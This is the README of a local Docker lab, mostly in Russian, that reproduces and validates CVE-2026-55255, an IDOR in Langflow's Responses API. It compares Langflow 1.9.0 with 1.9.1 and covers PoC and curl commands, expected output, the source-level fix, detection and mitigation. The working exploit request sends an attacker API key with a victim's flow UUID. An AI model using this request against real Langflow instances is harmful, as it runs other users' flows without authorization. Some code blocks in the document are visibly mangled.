
/api/v1/responsesЭтот репозиторий содержит локальную Docker-лабораторию для воспроизведения и проверки CVE-2026-55255 — уязвимости типа Insecure Direct Object Reference (IDOR), затрагивающей OpenAI-совместимый Responses API в Langflow.
Langflow — это платформа с открытым исходным кодом для создания и развёртывания агентов и рабочих процессов на основе ИИ. Уязвимое поведение затрагивает конечную точку /api/v1/responses, где аутентифицированный злоумышленник может указать UUID чужого потока в качестве значения model и заставить Langflow выполнить этот поток, принадлежащий жертве.
Эта лаборатория сравнивает две версии Langflow:
| Сервис | Версия Langflow | Назначение | URL |
|---|---|---|---|
| vuln | 1.9.0 | Уязвимая цель для сравнения | http://localhost:7860 |
| patched | 1.9.1 | Исправленная цель для сравнения | http://localhost:7861 |
Продемонстрированный путь проверки HTTP в этой локальной лабораторной среде:```text Authenticated attacker API key → POST /api/v1/responses → request body sets model to victim-owned flow UUID → vulnerable target executes the victim-owned flow → patched target returns flow_not_found and does not execute the victim-owned flow
В уязвимой цели ключ API, принадлежащий атакующему, может выполнять поток, принадлежащий жертве, и ответ содержит маркер, доступный только жертве:```text
VICTIM_ONLY_CONTEXT_55255_VULN
В пропатченной цели тот же межпользовательский запрос не возвращает маркер жертвы и возвращает тело ошибки в стиле OpenAI:```json {"error":{"message":"Flow with id '' not found","type":"invalid_request_error","code":"flow_not_found"}}
Эта лабораторная работа проверяет поведение HTTP уязвимой версии по сравнению с исправленной, используя Langflow 1.9.0 и Langflow 1.9.1.
Лабораторная работа намеренно ограничена локальными Docker-сервисами. Она не нацелена на внешние системы и не включает кражу учётных данных, дамп баз данных, разрушительные полезные нагрузки, внешние обратные вызовы, вредоносное ПО, закрепление в системе или действия после эксплуатации.
## Проверенные факты
| Утверждение | Доказательство | Как проверить в этой лабораторной работе |
| ----- | -------- | ------------------------- |
| CVE-2026-55255 затрагивает конечную точку `/api/v1/responses` Langflow. | В уведомлении GitHub GHSA-qrpv-q767-xqq2 описан IDOR в `/api/v1/responses`. | Изучите раздел References и запустите PoC против обеих локальных целей. |
| В уведомлении GitHub указаны затронутые версии `< 1.9.1` и исправленная версия `1.9.1`. | Уведомление GitHub GHSA-qrpv-q767-xqq2. | Сравните уязвимую и исправленную версии целевых сервисов в `docker-compose.yml`. |
| Некоторые вторичные источники об уязвимостях расходятся во мнениях относительно точной исправленной версии. | GitHub/GitLab указывают `1.9.1` как исправленную; некоторые вторичные страницы упоминают `1.9.2` или содержат неоднозначные формулировки. | Изучите раздел References и полагайтесь на результаты лабораторной проверки поведения версии 1.9.1. |
| Эта лабораторная работа использует Langflow 1.9.0 в качестве уязвимой цели для сравнения. | Сервис `vuln` использует `langflowai/langflow:1.9.0`. | Проверьте `docker-compose.yml` и выполните `docker compose ps`. |
| Эта лабораторная работа использует Langflow 1.9.1 в качестве исправленной цели для сравнения. | Сервис `patched` использует `langflowai/langflow:1.9.1`. | Проверьте `docker-compose.yml` и выполните `docker compose ps`. |
| API Responses Langflow использует `POST /api/v1/responses`. | В документации Langflow описан совместимый с OpenAI endpoint Responses API. | Запустите PoC или выполните ручной curl-запрос к `/api/v1/responses`. |
| API Responses Langflow принимает ID потока (flow ID) в качестве значения `model`. | В документации Langflow указано, что значение `model` заменяется на `flow_id`. | Изучите тело запроса в PoC. |
| Запросы к API Langflow требуют API-ключ через `x-api-key`. | В документации API Langflow описана аутентификация по API-ключу с помощью заголовка `x-api-key`. | Изучите заголовки запроса в PoC. |
| PoC основан на HTTP-запросах. | `poc/validate_idor.py` отправляет HTTP-запросы и не вызывает Docker, Docker Compose, shell-команды или контейнерные API. | Изучите `poc/validate_idor.py`. |
| Уязвимая цель выполняет flow, принадлежащий жертве, с использованием API-ключа атакующего. | Уязвимый ответ возвращает `VICTIM_ONLY_CONTEXT_55255_VULN`. | Запустите команду PoC для уязвимой версии с ID flow жертвы и API-ключом атакующего. |
| Исправленная цель блокирует тот же путь выполнения между пользователями. | Исправленный ответ возвращает `error.code = flow_not_found` и не возвращает маркер жертвы. | Запустите команду PoC для исправленной версии с ID flow жертвы и API-ключом атакующего. |
## Допущения и неизвестные
Эта лабораторная работа использует Langflow 1.9.0 в качестве уязвимой цели для сравнения, поскольку уведомление GitHub GHSA-qrpv-q767-xqq2 указывает версии до 1.9.1 как затронутые, а локальное тестирование подтвердило уязвимое поведение в 1.9.0.
Эта лабораторная работа использует Langflow 1.9.1 в качестве исправленной цели для сравнения, поскольку уведомление GitHub GHSA-qrpv-q767-xqq2 указывает 1.9.1 как исправленную версию, а локальное тестирование подтвердило, что 1.9.1 блокирует проверяемый путь выполнения `/api/v1/responses` между пользователями с ошибкой `flow_not_found`.
Между источниками существует расхождение в версиях. В уведомлениях GitHub и GitLab перечислены версии до 1.9.1 как затронутые, а 1.9.1 — как исправленная. Некоторые вторичные страницы с данными об уязвимостях упоминают 1.9.2 или содержат неоднозначные формулировки относительно исправленной версии. Этот репозиторий документирует данное расхождение и напрямую проверяет протестированное поведение:```text
Langflow 1.9.0
→ attacker API key + victim flow UUID
→ victim marker returned
→ vulnerable behavior observed
Langflow 1.9.1
→ attacker API key + victim flow UUID
→ flow_not_found
→ victim marker not returned
→ blocked behavior observed
В этой лабораторной работе предполагается, что атакующий уже знает UUID потока жертвы. PoC не перебирает идентификаторы потоков, не перечисляет потоки и не пытается обнаружить идентификаторы потоков жертвы.
Эта лабораторная работа сосредоточена на наблюдаемом HTTP-поведении:```text POST /api/v1/responses
с такой формой запроса:```json
{
"model": "<victim-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
Лабораторная работа демонстрирует несанкционированное выполнение потока между пользователями в уязвимой цели и блокируемое поведение в исправленной цели.
Лабораторная работа не демонстрирует:
Первопричина CVE-2026-55255 — недостаток авторизации в логике разрешения потоков Langflow.
Конечная точка /api/v1/responses принимает UUID потока через поле model. В уязвимых версиях путь поиска UUID внутри get_flow_by_id_or_endpoint_name() мог загружать объект Flow напрямую по первичному ключу, не проверяя, что разрешённый Flow.user_id соответствует пользователю, аутентифицированному по API-ключу.
Уязвимое поведение можно обобщить следующим образом:```text Attacker owns API key → attacker sends POST /api/v1/responses → model contains victim-owned flow UUID → flow resolver loads Flow by UUID → resolver does not enforce Flow.user_id == attacker_user.id → response endpoint executes the victim-owned flow → attacker receives victim flow output
Исправленное поведение можно обобщить следующим образом:```text
Attacker owns API key
→ attacker sends POST /api/v1/responses
→ model contains victim-owned flow UUID
→ flow resolver loads candidate Flow
→ resolver compares Flow.user_id with authenticated API-key user id
→ cross-user lookup is treated as not found
→ response endpoint returns flow_not_found
→ victim-owned flow is not executed
Проблема безопасности не в том, что злоумышленник может вызывать /api/v1/responses со своими собственными потоками. Это ожидаемое поведение. Проблема в том, что аутентифицированный пользователь с низкими привилегиями может заставить конечную точку выполнить поток, принадлежащий другому пользователю, если указан UUID потока жертвы.
Урок безопасности заключается в следующем:```text Object lookup by UUID is not authorization. Every object lookup used by an authenticated API route must be scoped to the authenticated principal or followed by a strict ownership check before the object is used.
## Анализ исходного кода
Проблема на уровне исходного кода была подтверждена сравнением Langflow `v1.9.0` и `v1.9.1`.
Проверенные теги исходного кода, использованные для анализа:
| Версия | Коммит Git |
| ------- | ---------- |
| v1.9.0 | `a47f2ad17eb662e940c550cfccb64a87dddd7e0b` |
| v1.9.1 | `dc26d19c1ed5b2779a3a759f78a747f47089c534` |
Соответствующий вспомогательный элемент:```python
async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead:
В уязвимой ветви UUID поток загружался по ID:```python flow_id = UUID(flow_id_or_name) flow = await session.get(Flow, flow_id)
Отсутствующая проверка, значимая для безопасности, была:```python
flow.user_id == authenticated_user.id
Без этой проверки владельца валидного UUID потока было достаточно, чтобы получить объект Flow, даже если он принадлежал другому пользователю.
Исправленная версия добавляет нормализацию user_id и обеспечивает ограничение владельца на пути UUID:```python
if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id:
flow = None
Важное поведение заключается в следующем:```text
if the flow exists
and the flow belongs to another user
then treat it as not found
Вот почему ответ запатченной лаборатории возвращает:```json {"error":{"code":"flow_not_found"}}
вместо выполнения flow, принадлежащего жертве.
Для этой лабораторной работы основное уязвимое поведение — путь выполнения `/api/v1/responses`, достигающий `get_flow_by_id_or_endpoint_name()` и разрешающий UUID flow, принадлежащего жертве, без проверки владения.
Патч также усиливает связанные маршруты выполнения flow. В `endpoints.py` маршруты, которые ранее использовали необработанный хелпер как зависимость FastAPI, были изменены с:```python
flow: Annotated[FlowRead, Depends(get_flow_by_id_or_endpoint_name)]
к аутентифицированным обёрткам, таким как:```python async def get_flow_for_api_key_user( flow_id_or_name: str, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> FlowRead: return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)
Эти изменения обёрток представляют собой связанное ужесточение для других маршрутов выполнения потоков, таких как `/api/v1/run*`. Они гарантируют, что вспомогательная функция получает идентификатор аутентифицированного пользователя, а не полагается на обычный параметр запроса. Основное исправление, продемонстрированное в этой лабораторной работе, остаётся проверкой принадлежности на стороне резолвера внутри `get_flow_by_id_or_endpoint_name()`.
Таким образом, исправление на уровне исходного кода состоит из двух связанных частей:```text
Core resolver fix:
enforce owner scoping before returning a Flow object
Related route dependency hardening:
pass the authenticated API-key or session user's ID into the resolver
Langflow 1.9.1 укрепляет уязвимый путь разрешения потоков, обрабатывая межпользовательские поиски как ненайденные и обеспечивая, чтобы связанные маршруты выполнения потоков передавали аутентифицированный контекст пользователя в резолвер.
Основная исправленная логика:```python if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None
Этот патч также добавляет аутентифицированные обёрточные зависимости для маршрутов, которым необходимо разрешать потоки:```python
async def get_flow_for_api_key_user(...):
return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)
async def get_flow_for_current_user(...):
return await get_flow_by_id_or_endpoint_name(flow_id_or_name, current_user.id)
Изменение, связанное с безопасностью:```text Before: flow UUID → session.get(Flow, flow_id) → Flow object returned without owner scoping → downstream execution path can run victim-owned flow
After: flow UUID → session.get(Flow, flow_id) → compare Flow.user_id with authenticated user id → cross-user result becomes None → shared not-found behavior fires → victim-owned flow is not executed
Патч также снижает раскрытие информации. Доступ между пользователями обрабатывается как «не найдено», а не возвращает отдельный ответ авторизации, который мог бы раскрыть, существует ли поток другого пользователя.
В этой лабораторной работе проверка исходного кода и проверка во время выполнения разделены:```text
Source patch review:
explains why the vulnerable resolver could return a victim-owned flow.
Runtime validation:
proves the vulnerable target executes the victim-owned flow and the patched target does not.
Лаборатория запускает две изолированные цели Langflow через Docker Compose.```text . ├── docker-compose.yml ├── poc/ │ └── validate_idor.py ├── seed/ │ ├── Dockerfile │ └── seed.py ├── src/ │ ├── langflow-1.9.0/ │ └── langflow-1.9.1/ ├── state/ │ ├── patched.json │ ├── patched.ready │ ├── vuln.json │ └── vuln.ready └── README.md
Файлы `state/` создаются seed-сервисами при запуске лаборатории. Каталог `src/` содержит проверенные исходные деревья Langflow, используемые для проверки различий исходного кода.
Два сервиса Langflow используют отдельные версии приложения и отдельные внутриконтейнерные базы данных SQLite:
| Сервис | Компонент | Версия / роль |
| ------------ | --------- | -------------------------------------- |
| vuln | Langflow | уязвимое целевое приложение |
| patched | Langflow | исправленное сравнительное приложение |
| seed-vuln | Python | создаёт локальных пользователей, ключи API, потоки |
| seed-patched | Python | создаёт локальных пользователей, ключи API, потоки |
Сервисы, доступные по умолчанию:```text
Vulnerable target: http://localhost:7860
Patched target: http://localhost:7861
| Target | Langflow version | Expected behavior |
|---|---|---|
| http://localhost:7860 | 1.9.0 | API-ключ атакующего может выполнять flow жертвы |
| http://localhost:7861 | 1.9.1 | выполнение flow жертвы другим пользователем блокируется |
Сервисы начальной загрузки запускаются автоматически во время:```bash docker compose up --build --wait
Они создают:```text
victim user
attacker user
attacker API key
victim flow
attacker flow
state/vuln.json
state/patched.json
state/vuln.ready
state/patched.ready
The seed-generated state/*.json files provide disposable local test values such as API keys and flow UUIDs.
The PoC does not read state/*.json. The user supplies the target URL, API key, flow ID, and optional expected marker through command-line arguments.
The lab does not create or modify the vulnerable /api/v1/responses route. That route is provided by Langflow.
--wait supportjq for the convenience commands in this READMENo Python third-party package is required for the PoC. The PoC uses Python standard library modules only.
The seed container installs the Python requests package internally. That package is used only by the seed services during lab setup, not by the PoC.
Start the lab from a clean state:```bash docker compose down -v --remove-orphans find state -type f ( -name ".json" -o -name ".ready" ) -delete docker compose up --build --wait
Проверьте статус сервиса:```bash
docker compose ps
Ожидаемые исправные сервисы:```text cve-2026-55255-vuln cve-2026-55255-patched cve-2026-55255-seed-vuln cve-2026-55255-seed-patched
Ожидаемые доступные цели:```text
http://localhost:7860
http://localhost:7861
Проверьте файлы состояния seed:```bash ls -la state cat state/vuln.json | jq . cat state/patched.json | jq .
Ожидаемые файлы:```text
state/vuln.json
state/vuln.ready
state/patched.json
state/patched.ready
Запустите проверку на основе запросов для уязвимой цели:```bash
python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/vuln.json)"
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)"
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
Выполните проверку на основе запросов к пропатченной цели:```bash
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/patched.json)" \
--api-key "$(jq -r '.attacker.api_key' state/patched.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
PoC принимает целевой URL, ключ API, flow ID и необязательный ожидаемый маркер:```bash
python3 poc/validate_idor.py
--url <target_url>
--api-key <api_key>
--flow-id <target_flow_id>
--expect-marker <expected_output_marker>
Обязательные параметры:
| Параметр | Значение |
| ------ | ------- |
| `--url` | Базовый URL Langflow |
| `--api-key` | Ключ API, используемый в заголовке `x-api-key` |
| `--flow-id` | UUID потока, используемый как значение `model` |
Необязательные параметры:
| Параметр | Значение |
| ------ | ------- |
| `--expect-marker` | Маркер, ожидаемый в ответе, если целевой поток выполняется |
PoC отправляет следующий HTTP-запрос:```text
POST /api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
Тело запроса:```json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }
The PoC is request-based. It does not call Docker, Docker Compose, shell commands, WP-CLI, container APIs, or Langflow seed APIs.
In this lab, `state/*.json` can be used to copy the disposable local API keys and flow IDs into the PoC command. The PoC itself does not depend on those files. The API keys in `state/*.json` are disposable local lab keys; do not use real production API keys in these commands.
## Expected Results
### Vulnerable Target
Command:```bash
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/vuln.json)" \
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
[CVE-2026-55255 REQUEST-BASED VALIDATION] [TARGET] http://localhost:7860 [FLOW_ID] [API_KEY]
[REQUEST] POST http://localhost:7860/api/v1/responses x-api-key: Content-Type: application/json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }
[RESPONSE] HTTP 200 flow execution observed : True expected marker : VICTIM_ONLY_CONTEXT_55255_VULN marker found : True
[BODY] ... "text":"VICTIM_ONLY_CONTEXT_55255_VULN\n\nowner=victim-user\n\ntenant=cve-2026-55255-lab" ...
======================================================================================== [CLASSIFICATION] VULNERABLE_BEHAVIOR - expected marker was returned. FINAL: VULNERABLE_BEHAVIOR_OBSERVED
Важный уязвимый сигнал:```text
attacker API key
+ victim flow UUID
+ HTTP 200 completed response
+ victim-only marker returned
Команда:```bash
python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/patched.json)"
--api-key "$(jq -r '.attacker.api_key' state/patched.json)"
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
Ожидаемый сигнал пропатченной цели:```text
========================================================================================
[CVE-2026-55255 REQUEST-BASED VALIDATION]
[TARGET] http://localhost:7861
[FLOW_ID] <victim-flow-id>
[API_KEY] <redacted>
[REQUEST]
POST http://localhost:7861/api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
{
"model": "<victim-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
[RESPONSE]
HTTP 200
flow execution observed : False
expected marker : VICTIM_ONLY_CONTEXT_55255_PATCHED
marker found : False
error code : flow_not_found
[BODY]
{"error":{"message":"Flow with id '<victim-flow-id>' not found","type":"invalid_request_error","code":"flow_not_found"}}
========================================================================================
[CLASSIFICATION] BLOCKED - target returned flow_not_found.
FINAL: BLOCKED_BEHAVIOR_OBSERVED
Важный исправленный сигнал:```text attacker API key
### Выполнение замечено без маркера
Если `--expect-marker` опущен и цель возвращает завершённый ответ Langflow, PoC сообщает:```text
[CLASSIFICATION] FLOW_EXECUTION_OBSERVED - target returned a completed flow response.
[NOTE] Ownership of the supplied flow ID must be confirmed separately.
FINAL: FLOW_EXECUTION_OBSERVED
Это означает, что целевой поток выполнился, но PoC сам по себе не может доказать, что предоставленный ID потока принадлежит другому пользователю. Принадлежность должна быть подтверждена с помощью лабораторных сид-данных, источника ID потока или других авторизованных доказательств.
Валидатор отправляет один HTTP POST-запрос к конечной точке Langflow Responses API:```text /api/v1/responses
Запрос использует предоставленный ключ API:```text
x-api-key: <attacker-api-key>
Тело запроса использует предоставленный UUID потока в качестве значения model:```json
{
"model": "",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
Ожидаемое уязвимое поведение:```text
HTTP 200
response object status is completed
error is null
output contains victim-owned flow marker
Ожидаемое поведение после исправления:```text request does not execute victim-owned flow response does not contain victim marker response indicates flow_not_found
В этой лабораторной работе Langflow 1.9.1 возвращает `HTTP 200` с JSON-объектом ошибки в стиле OpenAI:```json
{"error":{"code":"flow_not_found"}}
Именно поэтому PoC проверяет код ошибки JSON, а не предполагает, что статус HTTP-транспорта должен быть 404.
PoC намеренно проверяет только условие выполнения межпользовательского потока. Он не пытается обнаруживать идентификаторы потоков, перебирать UUID, перечислять пользователей, извлекать секреты или вызывать внешние сервисы.
Лабораторный seed записывает одноразовые локальные значения в state/*.json. Эти команды используют эти локальные значения для построения curl-запросов. Файлы состояния являются артефактами только лабораторной среды.
Уязвимый зонд:```bash
curl -i -sS -X POST
"$(jq -r '.public_url' state/vuln.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/vuln.json)"
--data "{
"model": "$(jq -r '.victim_flow.id' state/vuln.json)",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}"
Ожидаемый уязвимый результат:```text
HTTP/1.1 200 OK
...
"status":"completed"
"error":null
"VICTIM_ONLY_CONTEXT_55255_VULN"
Патченный зонд:```bash
curl -i -sS -X POST
"$(jq -r '.public_url' state/patched.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/patched.json)"
--data "{
"model": "$(jq -r '.victim_flow.id' state/patched.json)",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}"
Ожидаемый результат после применения патча:```text
HTTP/1.1 200 OK
...
{"error":{"code":"flow_not_found"}}
CVE-2026-55255 является критичным с точки зрения безопасности в многопользовательских или мультитенантных развертываниях Langflow, поскольку аутентифицированный пользователь может выполнить поток другого пользователя, если известен UUID потока-жертвы.
Реальный потенциальный ущерб зависит от того, что делает поток, принадлежащий жертве.
Возможные последствия могут включать:
Практическая эксплуатируемость зависит от того, сможет ли атакующий получить действительный UUID потока жертвы. Подбор UUID потока не является целью данной лабораторной работы, и PoC не перебирает идентификаторы потоков.
Эта лабораторная работа демонстрирует лишь безопасное нарушение границы авторизации:```text attacker API key
Лаборатория не демонстрирует реальный доступ к данным, реальный доступ к секретам, злоупотребление ключами LLM-провайдера, внешние обратные вызовы или постэксплуатацию.
## Обнаружение и мониторинг
Потенциальные индикаторы включают аутентифицированные запросы к:```text
POST /api/v1/responses
Подозрительный шаблон запроса:```text x-api-key belongs to user A model contains flow UUID owned by user B
Высокосигнальная идея обнаружения:```text
POST /api/v1/responses
AND request.model is a flow UUID
AND authenticated API-key user does not own that flow UUID
Возможные журналы прикладного уровня или телеметрия для проверки:
model,flow_not_found,/api/v1/responses,Пример уязвимого артефакта проверки:```text Request: POST /api/v1/responses x-api-key: attacker user's API key model: victim user's flow UUID
Response: status: completed error: null output contains victim-only marker
Пример исправленного артефакта валидации:```text
Request:
POST /api/v1/responses
x-api-key: attacker user's API key
model: victim user's flow UUID
Response:
error.code: flow_not_found
victim marker not returned
Recommended monitoring actions:
/api/v1/responses.flow_not_found bursts against the Responses API.Upgrade Langflow to a fixed version.
GitHub Advisory GHSA-qrpv-q767-xqq2 lists Langflow 1.9.1 as patched for CVE-2026-55255. Some downstream vulnerability intelligence sources mention 1.9.2 or contain mixed wording around the fixed version. This lab validates that Langflow 1.9.1 blocks the tested /api/v1/responses cross-user execution path with flow_not_found. For production environments, update to the latest available Langflow release rather than stopping at the lab comparison version.
Recommended mitigation steps:
/api/v1/responses requests.Security engineering lessons:
This lab is for local security research and controlled demonstration only.
Do not run the PoC or manual curl requests against systems you do not own or do not have explicit authorization to test.
Do not use real production credentials, customer data, payment data, API keys, LLM provider keys, database credentials, or production secrets in this lab.
The intended scope is limited to local Docker services such as:```text http://localhost:7860 http://localhost:7861 http://127.0.0.1:7860 http://127.0.0.1:7861
The PoC is intentionally request-based. It does not call Docker, Docker Compose, shell commands, WP-CLI, or container APIs.
The lab does not include payloads for:
* flow UUID brute forcing,
* user enumeration,
* credential theft,
* database dumping,
* LLM provider key abuse,
* arbitrary command execution,
* malware,
* persistence,
* lateral movement,
* customer data access,
* or external callbacks.
The goal is to demonstrate one specific technical condition in a controlled environment:```text
HTTP request
+ attacker-owned API key
+ victim-owned flow UUID
+ vulnerable target executes victim-owned flow
+ patched target returns flow_not_found
Запись CVE: CVE-2026-55255 https://www.cve.org/CVERecord?id=CVE-2026-55255
Уведомление GitHub: GHSA-qrpv-q767-xqq2 https://github.com/advisories/GHSA-qrpv-q767-xqq2
Уведомление GitLab: CVE-2026-55255 https://advisories.gitlab.com/pypi/langflow/CVE-2026-55255/
Pull Request Langflow: fix(security): close IDOR in get_flow_by_id_or_endpoint_name (LE-639) #12832 https://github.com/langflow-ai/langflow/pull/12832
Документация Langflow OpenAI Responses API https://docs.langflow.org/api-openai-responses
Документация Langflow по API-ключам и аутентификации https://docs.langflow.org/api-keys-and-authentication
Примеры из справочника API Langflow https://docs.langflow.org/api-reference-api-examples
Репозиторий Langflow на GitHub https://github.com/langflow-ai/langflow
Docker-образ Langflow https://hub.docker.com/r/langflowai/langflow
Примечание к плагину Tenable для GHSA-qrpv-q767-xqq2 https://www.tenable.com/plugins/container-security/443659
Аналитика уязвимостей Mondoo: CVE-2026-55255 https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-55255